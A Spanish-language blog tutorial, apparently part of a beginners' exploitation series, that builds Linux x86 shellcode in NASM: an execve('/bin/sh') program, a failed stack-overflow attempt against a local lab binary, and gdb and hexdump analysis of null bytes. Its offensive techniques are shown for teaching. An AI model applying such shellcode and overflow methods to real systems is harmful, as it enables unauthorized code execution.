Exploitation: Shellcodes en Linux I

En las entradas de la serie Exploitation (a beginners intro ;)) hemos utilizado shellcodes como un chorro de bytes que copiábamos en nuestros exploits, pero ha llegado el momento de comprender qué son esos bytes y cómo podemos construir nuestras propias shellcodes. Una shellcode (también llamado exploit payload) normalmente sirve para lanzar una shell (de ahí su nombre), aunque en realidad podemos hacer cualquier cosa con ella. Para escribir buenas shellcodes es importante tener unos conocimientos bastante amplios de lenguaje ensamblador (ya que es el que se usa para escribir shellcodes), así como del sistema operativo para el que se están desarrollando. En esta primera introducción nos centraremos en Linux y en intel x86.

Saludos desde ASM

Como dijimos en las entradas de conocimientos previos, un ejecutable se divide en varias secciones, y aunque nosotros no lo veamos, cuando el compilador genera el código máquina, crea esas secciones de manera correcta. Por tanto, si nosotros queremos escribir un programa directamente en ensamblador, debemos conocerlas y respetarlas. Para ilustrar esto, mostraremos un pequeño código ASM que nos saluda y finaliza correctamente. No os preocupéis si no entendéis el uso de los registros, lo veremos justo después.


BITS 32                ; indicamos a NASM que el código es para plataformas de 32 bits

section .data       ; sección de datos inicializados, recordad los post de conocimientos previos
saludo  db      "Hola a todos ^_^", 0x0a     ; Un saludo y el fin de línea

section .text       ; sección de texto, recordad los post de conocimientos previos
global _start       ; declaramos y exportamos el punto de entrada del programa

_start:             ; comienza el programa

; ssize_t write(int fd, const void *buf, size_t num);
; invocamos write(1, saludo, 17)

mov eax, 4          ; write es la syscall número 4
mov ebx, 1          ; stdout es el descriptor de fichero número 1
mov ecx, saludo     ; ecx es el segundo parámetro, nuestro mensaje
mov edx, 17         ; edx es el tercer parámetro, la longitud del mensaje (incluyendo el salto de línea)
int 0x80            ; lanzamos un trap para que entre el sistema operativo

; void exit(int status);
; exit(0)

mov eax, 1          ; exit es la syscall número 1
mov ebx, 0          ; ebx es el primer parámetro, salida correcta, un 0
int 0x80            ; llamamos al sistema operativo mediante un trap

Si os acordáis del tema secciones de los ejecutables, lo único destacable aquí es cómo se están realizando las llamadas al sistema. En Linux, se utiliza la interrupción software int 0x80 para solicitar al sistema operativo que realice una llamada al sistema. Los parámetros de la llamada se toman de los registros, que tienen un valor específico:

  • eax: almacena el número de la llamada al sistema que queremos ejecutar
  • ebx: primer argumento de la llamada
  • ecx: segundo argumento de la llamada
  • edx: tercer argumento de la llamada

El listado de las llamadas al sistema y su correspondiente número se puede obtener en /usr/include/asm/unistd_32.h (para 32 bits).


adrian@Andromeda-virt:~/exploiting$ head -n 20 /usr/include/asm/unistd_32.h
#ifndef _ASM_X86_UNISTD_32_H
#define _ASM_X86_UNISTD_32_H

/*
 * This file contains the system call numbers.
 */

#define __NR_restart_syscall      0
#define __NR_exit          1
#define __NR_fork          2
#define __NR_read          3
#define __NR_write          4
#define __NR_open          5
#define __NR_close          6
#define __NR_waitpid          7
#define __NR_creat          8
#define __NR_link          9
#define __NR_unlink         10
#define __NR_execve         11
#define __NR_chdir         12

El programa que hemos mostrado funciona, pero tiene un problema para poder ser considerado una shellcode: no es autocontenido. Además, es necesario linkarlo y darle un formato ejecutable (ELF) como se muestra a continuación:


adrian@Andromeda-virt:~/exploiting$ nasm -f elf holamundo.S
adrian@Andromeda-virt:~/exploiting$ ld holamundo.o -o hola
adrian@Andromeda-virt:~/exploiting$ ./hola
Hola a todos ^_^

Nuestra shellcode va a ser “inyectada” en un programa en ejecución, por lo que no podemos tomarnos la licencia de declarar las secciones típicas de un ejecutable, ya que el programa donde nos inyectaremos ya tiene sus secciones definidas. Esto quiere decir que nuestra shellcode debe estar preparada para tomar el control del programa en cualquier situación, independientemente del estado del procesador o de la memoria; nuestra shellcode tiene que ser código independiente de la posición.

Shell desde ASM

El siguiente fragmento de código es un “shellcode” que lanza una shell, creado sin preocuparnos de que funcione dentro de un exploit o no. Lo iremos modificando para adecuarlo al término exacto de shellcode.

BITS 32

section .data
shell   db      "/bin/sh"

section .text
global _start

_start:
; int execve(const char *filename, char *const argv[], char *const envp[]);
mov eax, 11     ; execve es la syscall núm 11
mov edx, 0      ; el tercer argumento es NULL (envp)

push edx        ; colocamos NULL en la pila para terminar la cadena de filename y para
 ; terminar el array argv
push shell      ; colocamos la dirección de la cadena /bin/sh en la pila
mov ebx, [esp]  ; obtenemos la dirección de la cadena. ebx = 0x8049098
lea ecx, [esp]  ; obtenemos la dirección del puntero a la cadena. ecx = 0xbffff508

int 0x80        ; invocamos al sistema operativo (software interrupt)

Al igual que en el ejemplo anterior, hemos definido las secciones del ejecutable, lo que permite probar el código, pero impide que tome el control de un programa que ya se encuentre en ejecución. Para los que no estén familiarizados con el uso de las funciones de la familia execve, resaltar que los argumentos deben ser de la siguiente forma:

  • filename = puntero a cadena terminada en caracter nulo (“cadena”).
  • argv = punteros a punteros a argumentos. El primer argumento es el nombre del programa a ejecutar. El último puntero debe ser NULL.
  • envp = punteros a punteros a variables de entorno. El último debe ser también NULL.

Como habréis podido notar, la diferencia entre filename (ebx) y argv (ecx) es que el segundo tiene una indirección más, cosa que conseguimos en ensamblador mediante la instrucción lea (Load effective address). En este caso, la instrucción lea ecx, [esp] es equivalente a mov ecx, esp y ambas funcionan correctamente. El objetivo es colocar en ecx la dirección en la que se encuentra el puntero a la cadena, mientras que en ebx colocamos directamente la dirección de la cadena. Estas direcciones las hemos construído sobre la pila, consiguiendo que la misma tenga la siguiente pinta:

[ dir cadena | 0x00000000 ]


adrian@orion-virt:~/exploiting/shellcode$ nasm -f elf shellcode1.S
adrian@orion-virt:~/exploiting/shellcode$ ld shellcode1.o
adrian@orion-virt:~/exploiting/shellcode$ ./a.out
$ id
uid=1000(adrian) gid=1000(adrian) groups=4(adm),20(dialout),24(cdrom),46(plugdev),104(lpadmin),
115(admin),120(sambashare),1000(adrian)
$
adrian@orion-virt:~/exploiting/shellcode$

Con esto y los comentarios del código debería quedar claro qué hace y por qué lo hace. Ahora que tenemos un programa en ensamblador que ejecuta una shell, el primer paso para convertirlo en una shellcode es hacer que pueda inyectarse en el buffer de la aplicación vulnerable y sea capaz de tomar el control de la misma. Para esto, y como ya hemos explicado, es necesario evitar la definición de secciones, así como hacer que el código sea position independent.

Hacia el shellcode

Vamos entonces a eliminar la definición de secciones, así como la definición de _start, y trataremos de ejecutar el programa de nuevo.


BITS 32

shell   db      "/bin/sh"

; int execve(const char *filename, char *const argv[], char *const envp[]);
mov eax, 11     ; execve es la syscall núm 11
mov edx, 0      ; el tercer argumento es NULL (envp)

push edx        ; colocamos NULL en la pila para terminar la cadena de filename y para
 ; terminar el array argv
push shell      ; colocamos la cadena /bin/sh en la pila
mov ebx, [esp]  ; obtenemos la dirección de la cadena. ebx = 0x8049098
mov ecx, esp    ; obtenemos la dirección del puntero a la cadena. ecx = 0xbffff508

int 0x80        ; invocamos al sistema operativo (software interrupt)


adrian@orion-virt:~/exploiting/shellcode$ nasm -f elf shellcode2.S
adrian@orion-virt:~/exploiting/shellcode$ ld shellcode2.o
ld: warning: cannot find entry symbol _start; defaulting to 0000000008048060
adrian@orion-virt:~/exploiting/shellcode$ ./a.out
Segmentation fault

adrian@orion-virt:~/exploiting/shellcode$ gdb -q ./a.out
Reading symbols from /home/adrian/exploiting/shellcode/a.out...done.
(gdb) run
Starting program: /home/adrian/exploiting/shellcode/a.out

Program received signal SIGSEGV, Segmentation fault.
0x08048061 in ?? () at shellcode2.S:3
3    shell    db    "/bin/sh"

El primer problema con el que nos encontramos es que se está tratando de interpretar la definición de la cadena “/bin/sh” como si fuera código ejecutable en lugar de datos. En principio podría valer con colocar la declaración de la variable al final de nuestro programa, tal que lo primero que haya sea código realmente ejecutable. Podéis comprobar por vosotros mismos como el programa sigue funcionando con este cambio. Digamos entonces que lo queremos usar para explotar un buffer overflow:

adrian@orion-virt:~/exploiting$ ./getenvaddr SHELLCODE ./sovf
SHELLCODE will be at 0xbffff6e0
adrian@orion-virt:~/exploiting$ ./sovf $(perl -e 'print "\xe0\xf6\xff\xbf"x40')
DEBUG: name_buffer localizado en 0xbffff354
 e0   f6   ff   bf   e0   f6   ff   bf   e0   f6   ff   bf   e0   f6   ff   bf
 e0   f6   ff   bf   e0   f6   ff   bf   e0   f6   ff   bf   e0   f6   ff   bf
 e0   f6   ff   bf   e0   f6   ff   bf   e0   f6   ff   bf   e0   f6   ff   bf
 e0   f6   ff   bf   e0   f6   ff   bf   e0   f6   ff   bf   e0   f6   ff   bf
 e0   f6   ff   bf   e0   f6   ff   bf   e0   f6   ff   bf   e0   f6   ff   bf
 e0   f6   ff   bf   e0   f6   ff   bf   e0   f6   ff   bf   e0   f6   ff   bf
 e0   f6   ff   bf   54   f3   ff   bf   e0   f6   6a    0  . e0   f6   ff   bf
 e0   f6   ff   bf   e0   f6   ff   bf   e0   f6   ff   bf   e0   f6   ff   bf
 e0   f6   ff   bf   e0   f6   ff   bf   e0   f6   ff   bf   e0   f6   ff   bf
 e0   f6   ff   bf   e0   f6   ff   bf   e0   f6   ff   bf   e0   f6   ff   bf
 0   f4   ff   bf   a0   f4   ff   bf   58   f8   12    0   50   f4   ff   bf
 ff   ff   ff   ff   f4   bf   12    0   bf   82    4    8    1    0    0    0
 50   f4   ff   bf   26   d3   11    0
Bienvenido al sistema, �������������������
Segmentation fault (core dumped)
adrian@orion-virt:~/exploiting$ gdb -q -c core
Core was generated by `./sovf ����
Program terminated with signal 11, Segmentation fault.
#0  0xbffff6e5 in ?? ()
(gdb) i r eip
eip            0xbffff6e5    0xbffff6e5
(gdb) x/4wi 0xbffff6e0
0xbffff6e0:    mov    eax,0x6852ba0b
0xbffff6e5:    pop    ss
0xbffff6e6:    mov    ebx,DWORD PTR [esp]
0xbffff6e9:    mov    ecx,esp

El exploit ha fallado. A pesar de que hemos conseguido redirigir la ejecución del programa a la posición de memoria donde se encuentra nuestro shellcode (como demuestra la última instrucción ejecutada), cuando inspeccionamos lo que debería ser el código de nuestra shellcode nos encontramos con algo totalmente diferente. ¿Por qué? Porque nuestra shellcode está llena de NULL BYTES, y suelen pasar dos cosas. En primer lugar, que bash las ha eliminado de la shellcode al exportarla (nuestro caso). En segundo lugar, que aunque no hubiera sido así, si hubiéramos introducido la shellcode dentro del propio buffer, la función strcpy habría copiado hasta dar con el primer byte nulo (ya que lo consideraría final de cadena), y habría dejado de copiar, por lo que no se habría copiado correctamente la shellcode.


adrian@orion-virt:~/exploiting/shellcode$ ndisasm shellcode2 -u
00000000  B80B000000        mov eax,0xb
00000005  BA00000000        mov edx,0x0
0000000A  52                push edx
0000000B  6817000000        push dword 0x17
00000010  8B1C24            mov ebx,[esp]
00000013  89E1              mov ecx,esp
00000015  CD80              int 0x80
00000017  2F                das
00000018  62696E            bound ebp,[ecx+0x6e]
0000001B  2F                das
0000001C  7368              jnc 0x86
adrian@orion-virt:~/exploiting/shellcode$ hexdump -C shellcode2
00000000  b8 0b 00 00 00 ba 00 00  00 00 52 68 17 00 00 00  |..........Rh....|
00000010  8b 1c 24 89 e1 cd 80 2f  62 69 6e 2f 73 68        |..$..../bin/sh|
0000001e

Aquí tenemos dos formas de ver los null bytes de nuestra shellcode, que son bastantes. Es imprescindible eliminar estos bytes nulos si queremos que funcione, así que tenemos que poner a trabajar nuestro conocimiento del lenguaje ASM del x86 para conseguir el mismo resultado con instrucciones que no produzcan nulos. Por ejemplo, el opcode de mov es un byte, y lo que le sigue (B80B000000 en la primera instrucción) es el inmediato en little endian, lo que sería 0x0000000B (11). Al ser 11 un valor demasiado bajo, se rellena con ceros para ocupar todo el registro, y esto nos produce un null byte. ¿Cómo eliminarlo? Os dejo pensando en ello hasta la siguiente entrega 😉



Anuncios
Tagged with: , ,
Publicado en exploiting, hacking

Responder

Introduce tus datos o haz clic en un icono para iniciar sesión:

Logo de WordPress.com

Estás comentando usando tu cuenta de WordPress.com. Cerrar sesión / Cambiar )

Imagen de Twitter

Estás comentando usando tu cuenta de Twitter. Cerrar sesión / Cambiar )

Foto de Facebook

Estás comentando usando tu cuenta de Facebook. Cerrar sesión / Cambiar )

Google+ photo

Estás comentando usando tu cuenta de Google+. Cerrar sesión / Cambiar )

Conectando a %s

Archive
A %d blogueros les gusta esto: